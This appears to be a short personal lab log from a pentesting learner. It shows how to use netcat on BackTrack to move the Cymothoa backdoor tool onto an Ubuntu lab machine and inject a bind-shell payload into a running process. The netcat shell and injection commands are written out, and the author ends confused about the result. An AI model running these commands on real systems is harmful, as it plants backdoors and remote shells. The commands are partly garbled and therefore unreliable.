Put Cymothoa to Ubuntu by Using NC

Now i try to make a backdoor with NC to inject Cymothoa to Ubuntu.

For the first step, i open the tools cymothoa which located in Apps -> Maintaining Access -> OS Backdoors -> Cymothoa

Then is typed a command:  root@bt:/pentest/backdoors/cymothoa# nc -l -v -p 12345 -e > cy /bin/bash 

Then i typed in Ubuntu nc 192.168.56.1 12345 and i got the result like this

Ok, then i try to see the list of the directory and i try to execute the cymothoa with command ./cymothoa like the picture below.

Ok i've open the cymothoa now

Then i try to see the proccess running with command ps -axu

Last, i try to inject the proccess ID 20549. I do it with command ./cymothoa -p 20549 -s 0 -y 12345 and the result is

But i still confused in here. I don't know who are that have been injected between Backtrack or Ubuntu. Because when i type a command ps -axu, that comes out is the proccess of Backtrack.